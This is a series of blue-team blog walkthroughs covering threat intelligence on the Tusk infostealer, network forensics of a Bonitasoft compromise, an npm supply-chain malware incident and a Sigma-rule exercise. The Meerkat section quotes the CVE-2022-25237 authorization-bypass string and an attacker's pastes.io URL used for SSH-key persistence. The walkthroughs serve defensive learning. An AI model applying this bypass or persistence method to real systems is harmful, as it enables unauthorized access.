I chose this week’s challenge to start closing out the SOC Level 1 path and get some hands-on practice with SysmonView, which I hadn’t used before. It didn’t disappoint! It made analyzing those ever-valuable Sysmon event logs so much faster than manual review alone. And because this challenge was so lengthy, it was incredibly rewarding — each question flowed logically into the next, making the investigation feel linear and cohesive. Awesome stuff!

If you liked my style and plan to continue the SOC Level 1 learning path, stick around and check out my walkthrough of the next capstone challenge:

TryHackMe - Boogeyman 1 Challenge Walkthrough

Until next time — stay curious and be safe out there!

Tools & References:

Challenge Link: https://tryhackme.com/room/tempestincident

Eric Zimmerman’s Tools: https://ericzimmerman.github.io/#!index.md

CyberChef: https://gchq.github.io/CyberChef/

MSRC — CVE-2022–30190: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190

Speedguide.net — Ports Database: https://www.speedguide.net/ports.php

VirusTotal — ch.exe: https://www.virustotal.com/gui/file/8a99353662ccae117d2bb22efd8c43d7169060450be413af763e8ad7522d2451

VirusTotal — spf.exe: https://www.virustotal.com/gui/file/8524fbc0d73e711e69d60c64f1f1b7bef35c986705880643dd4d5e17779e586d/detection

itm4n’s blog: PrintSpoofer — Abusing Impersonation Privileges on Windows 10 and Server 2019: https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/

Microsoft Learn — net user: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/net-user

Microsoft Learn — 4720(S): A user account was created: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4720

Microsoft Learn — 4732(S): A member was added to a security-enabled local group: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4732

CyberDefenders — Tusk Infostealer Blue Team Lab Walkthrough

Mon, 08 Dec 2025 00:00:00 +0000

CyberDefenders — Tusk Infostealer Blue Team Lab Walkthrough

A Threat Intelligence Challenge Using VirusTotal and Securelist.

Image Credit: https://cyberdefenders.org/blueteam-ctf-challenges/tusk-infostealer/

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog while looking for a detailed guide to the Tusk Infostealer Lab blue team challenge from CyberDefenders, you’re in the right place.

Challenge Scenario:

A blockchain development company detected unusual activity when an employee was redirected to an unfamiliar website while accessing a DAO management platform. Soon after, multiple cryptocurrency wallets linked to the organization were drained. Investigators suspect a malicious tool was used to steal credentials and exfiltrate funds.

Your task is to analyze the provided intelligence to uncover the attack methods, identify indicators of compromise, and track the threat actor’s infrastructure.

This challenge is extremely beginner-friendly and a great exercise in pivoting from a simple file hash to finding relevant reporting and leaning on the broader security community to add context to an investigation. It’s really cool to go from a single hash to fully understanding an entire malware campaign tied to that sample.

I’ll walk through each step clearly, and by the end, you’ll have a solid understanding of how to approach similar investigations in the wild. Sounds like fun, right? Let’s get into it!

Thanks for reading and going on this investigation with me!

Question 1: In KB, what is the size of the malicious file?

First things first! Extract the challenge file using the password provided in the challenge. This leaves a simple .txt file named hash.txt.

Contents of the Challenge File

Inside this file is the MD5 hash of a malware sample suspected of being linked to a recent cryptocurrency funds exfiltration:

E5B8B2CF5B244500B22B665C87C11767

With this file hash in our possession, we can pivot to checking it against threat intelligence and sample-sharing communities to search for known activity related to this exact file.

Our first stop is VirusTotal. Once on the site, submit the file hash to check if this sample has been uploaded before. If it has, we can leverage existing intelligence to learn more about the malware.

VirusTotal: Checking the file hash of the sample

Right away, we can confirm that our sample has been processed before, and a majority of anti-malware vendors have tagged it as malicious. That’s interesting, but to answer Question 1, we’re focused on the file size of the sample. You can find this by clicking on the Details tab and checking the File Size value under Basic Properties. We just need to grab the value listed in KB, instead of the bytes value

VirusTotal: Identifying the file size of the sample

Question 2: What word do the threat actors use in log messages to describe their victims, based on the name of an ancient hunted creature?

Well, that’s an interesting question! Let’s dig into VirusTotal and see what else we can find that might allude to an ancient hunted creature.

For this, it can be helpful to check out the Community tab. This is a valuable place to find relevant research where other members share links to additional analysis or notes about a given sample.

https://www.virustotal.com/gui/file/523d4eb71af86090d2d8a6766315a027fdec842041d668971bfbbbd1fe826722/community

Lucky for us, there’s a comment linking to an external post on Kaspersky’s Securelist blog. Let’s check it out:

Tusk campaign uses infostealers and clippers for financial gain _Kaspersky researchers discovered Tusk campaign with ongoing activity that uses Danabot and StealC infostealers and…_securelist.com

After a read-through of the introduction, we’ve already stumbled across the answer to Question 2:

We identified three active sub-campaigns (at the time of analysis) and 16 inactive sub-campaigns related to this activity. We dubbed it " # "

Tusk" , as the threat actor uses the word " # "

Mammoth" in log messages of initial downloaders — at least in the three active sub-campaigns we analyzed. " # "

Mammoth" is slang used by Russian-speaking threat actors to refer to victims. Mammoths used to be hunted by ancient people and their tusks were harvested and sold.

So, the creature is Mammoth.

Question 3: The threat actor set up a malicious website to mimic a platform designed for creating and managing decentralized autonomous organizations (DAOs) on the MultiversX blockchain (peerme.io). What is the name of the malicious website the attacker created to simulate this platform?

Let’s dive deeper into this threat intelligence report and look for any information about the look-alike website spoofing peerme.io.

Inside the report, we can see detailed information about this exact scenario — nice!

In this campaign the actor simulated peerme.io, a platform for the creation and management of decentralized autonomous organizations (DAOs) on the MultiversX blockchain. It aims to empower crypto communities and projects by providing tools for governance, funding, and collaboration within a decentralized framework. The malicious website is tidyme[.]io.

We just need to re-fang the address by removing the brackets from the top-level domain before submitting the answer.

Question 4: Which cloud storage service did the campaign operators use to host malware samples for both macOS and Windows OS versions?

Reading through the first sub-campaign details, it’s identified that “this campaign has several malware samples for macOS and Windows, both hosted on Dropbox.“This means the attacker is leveraging a trusted, common cloud storage solution to host the initial downloader component of the campaign.

As we continue through the analysis, we’ll see that this same service is abused in all three sub-campaigns.

Question 5: The malicious executable contains a configuration file that includes base64-encoded URLs and a password used for archived data decompression, enabling the download of second-stage payloads. What is the password for decompression found in this configuration file?

Following execution of the initial downloader, there’s a background routine that fetches the second-stage payloads. The Downloader routine section of the first sub-campaign details the configuration file, including the password we need to answer Question 5.

https://securelist.com/tusk-infostealers-campaign/113367/

Question 6: What is the name of the function responsible for retrieving the field archive from the configuration file?

Moving right along, we’ll find that the report also documents the function we’re looking for to answer Question 6.

The function downloadAndExtractArchive retrieves the field archive from the configuration file, which is an encoded Dropbox link, decodes it and stores the file from Dropbox

https://securelist.com/tusk-infostealers-campaign/113367/

Question 7: In the third sub-campaign carried out by the operators, the attacker mimicked an AI translator project. What is the name of the legitimate translator, and what is the name of the malicious translator created by the attackers?

Moving on from the first sub-campaign section, we’re now going to focus on the third sub-campaign. In the summary of this campaign, it’s stated that:

In this campaign, the threat actor was simulating an AI translator project named YOUS. The original website is yous.ai, while the malicious website is voico[.]io:

This is all the information we need. The only trick is that we must again remove the defang brackets from the malicious URL before submitting the answer.

Question 8: The downloader is tasked with delivering additional malware samples to the victim’s machine, primarily infostealers like StealC and Danabot. What are the IP addresses of the StealC C2 servers used in the campaign?

The next question has us assessing the reporting looking for tactical indicators of compromise (IoCs) associated with the StealC infostealer. We can locate this specific information in the report under the Network IoCs section where they are labelled StealC C2 server:

https://securelist.com/tusk-infostealers-campaign/113367/

Having these indicators readily available is really helpful so that we could hunt for matching activity against the fictional organization in the challenge and confirm the same infrastructure was used.

Question 9: What is the address of the Ethereum cryptocurrency wallet used in this campaign?

On to the final question for this threat intelligence challenge: identifying the Ethereum (ETH) cryptocurrency wallet address associated with the campaign.

While the wallet addresses are listed in each of the sub-campaign sections, we can also easily access them in the dedicated Cryptocurrency wallet addresses section of the report:

https://securelist.com/tusk-infostealers-campaign/113367/

This provides us with further tactical information we could use in additional analysis of the impact of the attack. Now that we’ve analyzed the report and collected the relevant information, let’s wrap up this case!

Conclusion:

That’s a wrap on the Tusk Infostealer challenge and the end of our investigation! A big thank you to CyberDefenders for another awesome challenge.

This challenge was a fantastic exercise in threat intelligence analysis, tying together several important concepts: pivoting from a single file hash, leveraging community resources like VirusTotal, and extracting tactical indicators such as C2 IPs and cryptocurrency wallet addresses. We also explored how attackers abuse trusted services like Dropbox and spoof legitimate platforms to build credibility.

Working through each question, we followed the trail of clues and learned how to pivot between threat intelligence reports and real-world IoCs to uncover the attacker’s infrastructure. I chose this challenge because it’s perfect for sharpening investigative skills and demonstrates how defenders can use open-source intelligence to map out an entire campaign.

It’s pretty cool that starting with just a hash, we can reveal how attackers chain techniques — from initial downloaders to second-stage payloads, and ultimately to financial exfiltration through cryptocurrency wallets. Awesome!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://cyberdefenders.org/blueteam-ctf-challenges/tusk-infostealer/

Securelist — " # “Tusk: unraveling a complex infostealer campaign”: https://securelist.com/tusk-infostealers-campaign/113367/

VirusTotal: https://www.virustotal.com/

VirusTotal — Sample: https://www.virustotal.com/gui/file/523d4eb71af86090d2d8a6766315a027fdec842041d668971bfbbbd1fe826722

HackTheBox — Meerkat Sherlock Walkthrough

Mon, 01 Dec 2025 00:00:00 +0000

HackTheBox | Meerkat | Sherlock Walkthrough

Network Packet Forensics: Investigating Credential Stuffing and Persistence with Zui, Wireshark & NetworkMiner.

Image Credit: https://app.hackthebox.com/sherlocks/552/play

Introduction:

Welcome back to another weekly walkthrough! If you’ve stumbled across this blog while searching for a comprehensive guide to the Meerkat Sherlock challenge from Hack The Box, you’re in the right place.

This is the fifth challenge in the Intro to Blue Team track, but you can jump in at any point. If you’re following along or you’re a completionist, check out my write-up of the previous free challenge — Unit42:

HackTheBox | Unit42 | Sherlock Walkthrough

This challenge leans heavily into network forensics using a real-world inspired narrative. It’s up to us to piece together what happened using only the provided network packet capture (PCAP) file. To analyze this file, we’ll rely on three powerful tools:

Zui (formerly Brim)
Wireshark
NetworkMiner

Using a broad set of tools for different purposes is a great way to go hands-on with multiple utilities and compare their strengths and weaknesses as they apply to identifying artifacts.

So, if you’re new to network forensics or just want to sharpen your analysis skills, this is a fantastic challenge to dive into. Let’s get into it!

And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.

Thanks for reading and going on this investigation with me!

Challenge Scenario:

As a fast-growing startup, Forela has been utilising a business management platform. Unfortunately, our documentation is scarce, and our administrators aren’t the most security aware. As our new security provider we’d like you to have a look at some PCAP and log data we have exported to confirm if we have (or have not) been compromised.

Setup the Analysis Environment & Extract the Challenge File:

“a collection of software installations scripts for Windows systems that allows you to easily setup and maintain a reverse engineering environment on a virtual machine (VM).”

Once you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!

Question 1: We believe our Business Management Platform server has been compromised. Please can you confirm the name of the application running?

First things first — let’s extract the challenge file using the provided password. Inside the archive, we’ll find two artifacts for analysis:

meerkaat.pcap: a network packet capture file containing raw network data.
meerkat-alerts.json: a JSON file with alert logs from an intrusion detection system.

We’ll start our investigation by leveraging Zui (formerly called Brim), which can display Suricata alerts already present in the challenge data.

For our purposes, this means that we don’t need to review the second artifact separately because the Suricata alert data is already embedded in the pcap and can be pulled out using Brimcap queries. This makes it much easier to focus on the relevant details we need, including the application running on the web server.

So, where to begin? The first step is to download, install, and open Zui if you don’t already have it in your analysis environment. Once that’s done, you might notice the Suricata queries aren’t readily available which was the case in my environment.

To grab the queries I used in this walkthrough, visit the Brimcap GitHub repository. While Brimcap is bundled into the Zui desktop app, I needed to follow the directions to install the Brimcap queries:

Included in this repo is a queries.json file with some helpful queries for getting started and exploring Zeek and Suricata analyzed data within the Zui app.

To import these queries:

Download the [queries.json](https://github.com/brimdata/brimcap/blob/main/queries.json?raw=1) file to your local system

In Zui, click the + menu in the upper-left corner of the app window and select Import Queries…

Open the downloaded file in the file picker utility

Zui: Importing Brimcap Queries

This gives us some extremely handy queries for analysis. If you haven’t already, load the meerkaat.pcap file into Zui so we can query the pool.

To answer Question 1, use the new Brimcap queries by selecting Suricata Alerts by Signature. This provides a high-level view of all IDS rule hits detected in the traffic. One particular web application exploit is detected with four different rule sets, which strongly suggests this is the compromised web application.

Zui: Identifying the web application through Suricata Alerts by Signature

Then, a quick Google search for Bonitasoft confirms it’s a business process automation application, consistent with the description in the scenario.

Question 2: We believe the attacker may have used a subset of the brute forcing attack category — what is the name of the attack carried out?

Next, we need to identify the brute force attack method used by the attacker. While reviewing the Suricata Alerts by Signature query in Zui, you may have noticed the alert ET INFO User-Agent (python-requests) Inbound to Webserver had a large number of hits. This likely correlates to the brute force activity.

To dive deeper, let’s pivot to Wireshark and load the meerkaat.pcap file. This will allow us to inspect packet details and better understand how the attack was carried out.

Once Wireshark is open:

Click the magnifying glass icon to open the search tool.
Select Packet details and String to narrow the search to strings within packet details.
Enter username in the search box.

Wireshark: Searching for the username string

This helps us find packets where the username form item appears. The goal is to determine the method used for these requests and filter more granularly.

Looking at the first hit, we see an HTTP POST request to the web server. Let’s apply a display filter to isolate these:

http.request.method == “POST”

Wireshark: Confirming the User-Agent for the matching packets

Now we can easily see dozens of login attempts using Forela account addresses. The user agent matches what we saw in Zui:

python-requests/2.28.1

Based on this evidence, the attacker appears to be carrying out a credential stuffing attack (MITRE ATT&CK — T1110.004) by using multiple known usernames and passwords to gain access to target accounts.

Brute Force: Credential Stuffing _Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts…_attack.mitre.org

Question 3: Does the vulnerability exploited have a CVE assigned — and if so, which one?

Our next task is to identify the specific CVE for the exploited vulnerability. Fortunately, we already found a clue while reviewing the Suricata Alerts by Signature in Zui: CVE-2022–25237 associated with Bonitasoft.

Zui: Identifying the related CVE

Let’s drill down on the details of this CVE by looking it up on CVEdetails:

https://www.cvedetails.com/cve/CVE-2022-25237/

According to the description:

Bonita Web 2021.2 is affected by a authentication/authorization bypass vulnerability due to an overly broad exclude pattern used in the RestAPIAuthorizationFilter. By appending ;i18ntranslation or /../i18ntranslation/ to the end of a URL, users with no privileges can access privileged API endpoints. This can lead to remote code execution by abusing the privileged API actions.

Keep this information in mind — it will be extremely helpful during the next few questions.

Question 4: Which string was appended to the API URL path to bypass the authorization filter by the attacker’s exploit?

Now that our research uncovered how CVE-2022–25237 can be exploited, we already have the answer:

By appending ;i18ntranslation or /../i18ntranslation/ to the end of a URL, users with no privileges can access privileged API endpoints.

Let’s confirm this with our own dataset in Wireshark by searching for /api within the results.

Wireshark: Identifying API endpoints

Bingo! We’ve found the same string in our traffic that’s described in the CVE details.

Question 5: How many combinations of usernames and passwords were used in the credential stuffing attack?

To answer this, we need to determine how many username/password combinations were attempted during the attack.

One approach is to use a third tool: NetworkMiner, which offers robust forensic capabilities, including easy parsing and display of credentials logged in the PCAP.

There’s just one catch — we first need to convert the Wireshark PCAPNG file to PCAP before importing it into NetworkMiner. In Wireshark:

Go to File > Save As
Select the Wireshark/tcpdump/...-pcap option to create a copy in PCAP format

Now that we have the correct file type, launch NetworkMiner and open the new PCAP file. Once it loads:

Click the Credentials tab
Uncheck Show Cookies (we only want credential stuffing attempts, not session cookies)
Focus on Forela domain email addresses with the MIME/MultiPart protocol

NetworkMiner: Identifying credential pairs

This gives us a clean list of all username/password combinations attempted in the traffic. After removing the install user and one duplicate entry for seb.broom, we’re left with 56 unique combinations.

Question 6: Which username and password combination was successful?

For illustrative purposes, let’s jump back to Wireshark and apply an http filter. This will make it easier to see HTTP requests and responses side by side. The idea is simple: look for where the status codes change from the HTTP 4XX range (failed requests) to the HTTP 2XX range (successful requests).

Wireshark: Following the HTTP response trail

Just like in the image above, you’ll notice the first successful response appears as an HTTP 204 No Content. Looking at the packets immediately below, you’ll see other 200 OK responses, so we know we’re in the right spot. At this point, all we need to do is right‑click the first of the HTTP 200 responses and select Follow > HTTP Stream.

Wireshark: Uncovering the successful login credentials

By correlating these successful responses and following the HTTP stream, we can determine that the account seb.broom was the one that successfully authenticated.

Moving right along, for Question 7 we need to determine if the attacker used any text-sharing site during the attack. For this, we’ll jump back to Zui and use the Unique DNS Queries filter.

Selecting this option provides an easy-to-read list of all unique outbound DNS lookup queries in the PCAP. Among these, we see that pastes.io was contacted. This is a text-pasting website, which fits perfectly with what we’re looking for.

Zui: Identifying text sharing site in DNS queries

In the next couple of questions, we’ll figure out how this service was leveraged in the attack.

Questions 8 & 9

Please provide the filename of the public key used by the attacker to gain persistence on our host.

Question 9: Can you confirm the file modified by the attacker to gain persistence?

Now comes the fun part! To answer these, we’ll focus on identifying the full URI in Zui, then pivot to a web browser to see what the attacker left behind.

First, from the pastes.io query in Zui’s Unique DNS Requests results, right-click the entry and select New Search from Value. This adjusts the results to search for all traffic related to pastes.io in the PCAP.

Next, locate the line with the http type and expand it. This reveals the full URI containing the domain:

Zui: Identifying the pastes.io URI

https://pastes.io/raw/bx5gcr0et8

With the URL ready, open your browser and enter it into the address bar — and voila!

The contents of the pastes.io URL from the pcap

The contents of the paste show a command using curl to download another file named:

hffgra4unv

The command saves the output into:

/home/ubuntu/.ssh/authorized_keys

This file stores SSH public keys, which means the attacker added their own key to gain persistent access to the host. Good find!

Question 10: Can you confirm the MITRE technique ID of this type of persistence mechanism?

We’ve made it to the final question! For this one, we’ll pivot to the MITRE ATT&CK knowledge base of attacker tactics, techniques, and procedures. The goal is to identify the persistence technique ID within the framework.

We already have all the pieces: Persistence + SSH authorized keys = Account Manipulation: SSH Authorized Keys (T1098.004)

Account Manipulation: SSH Authorized Keys _Adversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions…_attack.mitre.org

According to MITRE:

Adversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions, macOS, and ESXi hypervisors commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured.

This technique perfectly aligns with the attacker’s behavior we observed in our investigation. Now that we’ve identified their method of persistence and confirmed that Forela’s Bonitasoft server was compromised, we can wrap up this case.

Conclusion:

That’s a wrap on Meerkat and the end of our investigation! A big thank you to Hack The Box for another awesome challenge.

This challenge was a fantastic exercise in network forensics, tying together several important concepts: detecting credential stuffing attacks, identifying CVEs in real-world applications, and uncovering persistence mechanisms like SSH authorized keys.

Working through each question, we followed the trail of clues and learned how to pivot between tools like Zui, Wireshark, and NetworkMiner to extract meaningful evidence. I chose this challenge because it’s perfect for sharpening packet analysis skills and offers a realistic approach where flexibility and knowing the right tool for the job can speed up an investigation when timing is critical.

It’s pretty cool that with just a PCAP we can reveal how attackers chain techniques, starting with credential stuffing, exploiting a web vulnerability, and then maintaining access through SSH. Awesome!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://app.hackthebox.com/sherlocks/552

Flare-VM: https://github.com/mandiant/flare-vm

Zui/Brim: https://www.brimdata.io/download/

Wireshark: https://www.wireshark.org/

CVEdetails — CVE-2022–25237: https://www.cvedetails.com/cve/CVE-2022-25237/

NetworkMiner: https://www.netresec.com/?page=NetworkMiner

MITRE ATT&CK — Brute Force: Credential Stuffing (T1110.004): https://attack.mitre.org/techniques/T1110/004/

MITRE ATT&CK — Account Manipulation: SSH Authorized Keys (T1098.004): https://attack.mitre.org/techniques/T1098/004/

StumbleSOC Blog Stories — The Vibe Coding Compromise

Sun, 23 Nov 2025 00:00:00 +0000

StumbleSOC Stories: The Vibe Coding Compromise

So, You Vibe Coded an App? (But your Dependencies Have Malware)

Photo by Aerps.com on Unsplash

Introduction

This week, I’m taking a break from my usual weekly walkthrough format to try something different. This is the first edition of my real world diary series, StumbleSOC Stories: A collection of field notes and anecdotes. This particular case is adapted from a short presentation I gave to a team of software developers about a real-world incident back in July 2025 meant as a cautionary tale that bridges blue team operations, DevOps, and the rise of vibe coding with open source software supply chain attacks.

We’ll take an inside-out approach, exploring how a security alert investigation lead to stumbling upon a software supply chain compromise. But what’s the catch? Well, the malware was delivered through AI-generated code created using a Generative AI tool outside of corporate governance policies, creating a perfect opportunity for risk.

This blog is especially relevant for those new to coding who rely on vibe coding — experimenting with GenAI prompt-based coding and trusting the output without fully understanding the implications. The goal here is to illustrate how quickly curiosity can turn into compromise with a brief look from a network defender’s point of view, and some practical tips to prevent something like this from happening to you.

The Alert That Started It All

This story starts as all good stories do — a hot summer’s day and a high-severity incident firing from a newly onboarded user’s device:

Potential hands-on-keyboard pre-ransom activity detected

It’s enough to make the hairs on the back of any defender’s neck stick up, and that’s what kicked off the triage. Three alerts, one incident, and a suspicious file: node-gyp.dll.

While this file was tagged as malware, at first glance, it looked like a false positive. Nothing overtly suspicious was observed, and VirusTotal showed low detection rates.

But something was strange: this workstation belonged to a new, non-developer user, we’ll call him “Justin,” and the DLL was linked to the package napi-postinstall — a Node.js package with millions of downloads and favorable metrics.

What was “Justin” doing with Node.js anyway?

The AI Stumble

Further investigation led to an interview with “Justin”, and that’s when it clicked:

“I’m really REALLY ignorant about this stuff. I was messing with it to try and learn more about coding and Ai prompting.“Translation: Vibe coding. This is the currently trending practice of using Generative AI to generate code or prompt an app into existence. This user had used their personal Generative AI chat subscription to generate Node.js code with the goal of learning to code and experiment with AI prompting.

While this is a totally valid use case on its own, you can probably guess where this is going. Once run, the AI-generated code pulled dependencies from the NPM registry. One of those was the napi-postinstall script, which contained instructions to execute the suspicious node-gyp.dll. The user ran the code on their corporate device, and that’s when the alerts fired.

Malware or Misunderstanding?

Okay, so we now understand the how, but why did the endpoint detection tool flag node-gyp.dll as malicious?

Remember, VirusTotal showed minimal detections at the time of the alert. The package looked clean. But the next day, the detection rate skyrocketed as reports started rolling in overnight — there was even a CVE assigned (CVE-2025-54313).

Update — January 2026: This CVE has also been added to CISA’s Known Exploited Vulnerabilities Catalog as of January 22nd, 2026.

VirusTotal: https://www.virustotal.com/gui/file/c68e42f416f482d43653f36cd14384270b54b68d6496a8e34ce887687de5b441/detection

From the excellent reporting by Socket.dev, it was revealed that this DLL was part of a broader campaign. A phishing attack had compromised an NPM maintainer’s token, allowing attackers to inject malware into several trusted packages, including the one found on Justin’s workstation: napi-postinstall version 0.3.1.

In other words, textbook software supply chain attack.

Meet the Malware: The Scavenger Family

Understanding that this was a true positive meant getting a better understanding of the malware. According to the VirusTotal family label, this confirmed-malicious DLL, node-gyp.dll, belongs to the Scavenger malware family. According to Malpedia, Scavenger is:

A stealthy, two-stage malware family first observed in July 2025 following a targeted supply chain attack on the NPM ecosystem. The infection began with a phishing campaign that leveraged a typo-squatted domain (npnjs.com) to impersonate the legitimate NPM login page.

So, what we observed was the Scavenger Loader component. In this case, thanks to the endpoint detection response (EDR) tool on the victim’s device, the sensor flagged the behavior of the first-stage loader (node-gyp.dll) triggered via rundll32.exe as suspicious.

Then the antivirus software identified the malicious Scavenger DLL as malware and terminated it during execution, preventing the second-stage infostealer payload from being retrieved. The threat was quarantined, and no data collection or exfiltration occurred.

While this is a great example of behavioral detection working as intended, even when signature-based detection lagged behind, it’s also a great example of how technical controls are essential even when the administrative policy controls (like an Acceptable Use Policy) should have deterred this from happening to begin with.

Yes, the user technically executed the code but is it really their fault or simply bad timing that created another victim downstream?

Understanding the Open Source Software Supply Chain Risk

Let’s pull back a little and look at the bigger picture. Modern applications rely on hundreds of third-party dependencies. Even if you’re confident your code (or your AI-generated code) is safe, your dependencies might not be. And when those dependencies are compromised, the impact can cascade downstream, which is exactly what we saw earlier happen with our victim, “Justin”.

The risk is that supply chain attacks aren’t just about initial access. They’re about the attacker’s objectives and impact. A few examples might include:

Stealing cloud service keys, SSH credentials, and maintainer tokens.
Dropping backdoors.
Lateral movement in enterprise networks.
Data theft and ransomware.

Not good, but the worst part? A story like this isn’t an isolated incident. A quick search for “Software Supply Chain Attack"shows dozens of results per week across multiple package repositories like NPM or PyPI. Despite this being an example from July 2025, this is still an ongoing, pervasive, and real threat.

So, What Can We Do?

Let’s tie this together and come up with some practical advice — especially for new developers or vibe-coding hobbyists like Justin.

For Vibe Coders:

If you’re new to software development and rely on vibe coding as your entry point, remember this: AI doesn’t guarantee security. It can pull in compromised packages without warning, just like the victim in this story. So how does a novice developer verify the integrity of AI-generated code?

While it’s a tough nut to crack, and I don’t have all the answers, we can start with some basics. There’s an old cybersecurity adage: “You can’t defend what you don’t know exists.” In this example, it’s true.

Start with some Operational Security Fundamentals

Don’t assume AI-generated code is safe. AI can pull in dependencies without context. There’s a reason these tools call out that they can make mistakes. Always verify.
Separate your learning environment from your daily driver. If you’re experimenting, use a Virtual Machine or segmented development environment — not your organization’s resources.
Stay within approved tools and environments. Governance exists for a reason. If your organization has an approved GenAI application, they probably have some guardrails in place.
Never tamper with your anti-malware or security software. Yes, I’ve seen this happen, but those tools and alerts saved the day in this case and prevented further impact.

Know Your Dependencies

For Node.js applications, use npm ls to list dependencies and [npm audit](https://docs.npmjs.com/auditing-package-dependencies-for-security-vulnerabilities) to check for known vulnerabilities.
Investigate suspicious findings by looking up packages on sites like Socket.dev or Snyk.
In this example, tools like these would have flagged napi-postinstall as compromised. Only version 0.3.1 was affected, but that information was available if the victim had known where to look.

Scale Up with Security Tools

While manual checks help, they’re not scalable. Eventually, you’ll want to integrate:

Software Composition Analysis (SCA) tools like OWASP Dependency-Check
Static Application Security Testing (SAST) for source code analysis.
Dynamic Application Security Testing (DAST) for runtime vulnerability detection.

Key Takeaways

Verify AI-generated code: don’t trust it blindly.
Separate experimental environments from production systems.
Use dependency checks (npm ls, npm audit) and reputation tools.
Adopt SCA and SAST tools as you grow.
Never disable security tools. They’re your last line of defense.

Final Thoughts

This saga reminded me how quickly a learning experiment can become a security incident. Awareness is important! Understand that there is risk in the trust-based open source ecosystem. Maintainers are not infallible. With that said, there is obvious value in using GenAI to learn about building applications, and harnessing that power can bring tremendous results. AI is powerful, but it’s also not infallible. And when it intersects with open-source ecosystems, the risks multiply.

But we users also bear the burden of validating the output of these tools and the risks. Just like in standard software development lifecycles, it’s important to move security early into the development of new applications and always be thinking about it as much as you think about the final result. Applying security principles like software composition analysis and vulnerability management is important, fundamentally important, even if you’re new. Security is a vibe too.

This is just a small slice of the bigger pie, and I hope it gave you something to chew on. Thanks for your support and for your time together. If you found this post interesting, don’t forget to give it a clap and consider following me for more content like this! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we’re in this together!

I also want to give a quick shout-out to my colleague Giovanni Contino for generously lending his time — and his developer brain — to review this post. His insights and feedback helped ground the content in real-world dev experience.

Until next week — stay curious and be safe out there!

References

Socket — " # “Active Supply Chain Attack: npm Phishing Campaign Leads to Prettier Tooling Packages Compromise”: https://socket.dev/blog/npm-phishing-campaign-leads-to-prettier-tooling-packages-compromise
VirusTotal — node-gyp.dll: https://www.virustotal.com/gui/file/c68e42f416f482d43653f36cd14384270b54b68d6496a8e34ce887687de5b441/detection
National Vulnerability Database (NVD) — CVE-2025€“54313: https://nvd.nist.gov/vuln/detail/CVE-2025-54313
Malpedia — Scavenger: https://malpedia.caad.fkie.fraunhofer.de/details/win.scavenger
NPM Audit: https://docs.npmjs.com/auditing-package-dependencies-for-security-vulnerabilities
Snyk Advisor: https://snyk.io/advisor
Socket: https://socket.dev/
OWASP Dependency-Check: https://owasp.org/www-project-dependency-check/

LetsDefend — Learn Sigma Challenge Walkthrough

Mon, 10 Nov 2025 00:00:00 +0000

LetsDefend — Learn Sigma Challenge Walkthrough

A Beginner’s Challenge in Sigma Rule Analysis.

https://app.letsdefend.io/challenge/learn-sigma

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog while looking for a detailed guide to the Learn Sigma challenge from LetsDefend, you’re in the right place. If you’ve ever been curious about Sigma rules or how to read them, this beginner-friendly challenge is for you!

Challenge Scenario:

Your organization has detected a ransomware infection on one of its critical systems, and it is imperative that you address this issue immediately. This type of malware searches for valuable files, such as sensitive documents and configuration files, and encrypts them using a strong encryption algorithm.

The investigation has revealed that the ransomware may have used the Windows utility bitsadmin.exe to download additional malicious payloads or communicate with its command-and-control (C2) server.

Your task is to carefully review the Sigma rule, answer the related questions, and understand how different rule sections (selection, condition, fields, tags, logsource) work together to detect malicious activity.

For this challenge, we’re putting on our detection engineering hats and need to leverage a Sigma rule to analyze logs related to a ransomware infection. But first, we need to review the rule, understand how it works, and clarify what’s in scope — just to be sure we don’t miss anything.

If any of this sounds new or confusing, don’t worry! I’ll walk through each step clearly, and by the end, you’ll have a solid understanding of how to approach similar investigations in the wild. Sounds like fun, right? Let’s get into it!

And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or just serves as a handy reference — please give it a clap and consider following me for more content like this.

Thanks for reading and going on this investigation with me!

Sigma Rules 101:

Before we jump into this challenge, let’s have a quick, informational overview of what Sigma rules are and how they’re structured to better inform our answers. For this, we’ll lean on the excellent Sigma documentation available here:

Explore Sigma _A generic and open signature format that allows you to describe relevant log events in a straight-forward manner._sigmahq.io

From the documentation, we can understand that Sigma rules are " # "

_YAML_ files that contain all the information required to detect odd, bad or malicious behaviour when inspecting log files €“ usually within the context of a SIEM_.“Put another way, Sigma rules can be used to identify targeted suspicious or malicious activity by matching patterns against log data.

To organize these rules in a uniform schema, Sigma rules contain three primary sections:

Detection: " # “What malicious behaviour the rule searching for.“2. Logsource: " # “What types of logs this detection should search over.“3. Metadata: " # “Other information about the detection.“With this basic understanding, we’re well-equipped to take on this challenge and analyze the Sigma rule! I encourage you to check out the documentation if you’re curious and want more detailed information. Let’s get to it!

Question 1: Which executable file was specifically targeted by this Sigma rule?

Go ahead and open the ChallengeFile folder, where we’ll find the Sigma rule contained in the proc_creation_win_bitsadmin_download.yml. This is the YAML file we’ll need to analyze.

To review the contents, we can open the YAML file in a text editor. For this walkthrough, I’ll be using Notepad++ since it makes it easier to view and explain structured files like this. With the file open, we need to identify which executable file is targeted by the rule.

Notepad++: Identifying the executable file targeted by the Sigma rule

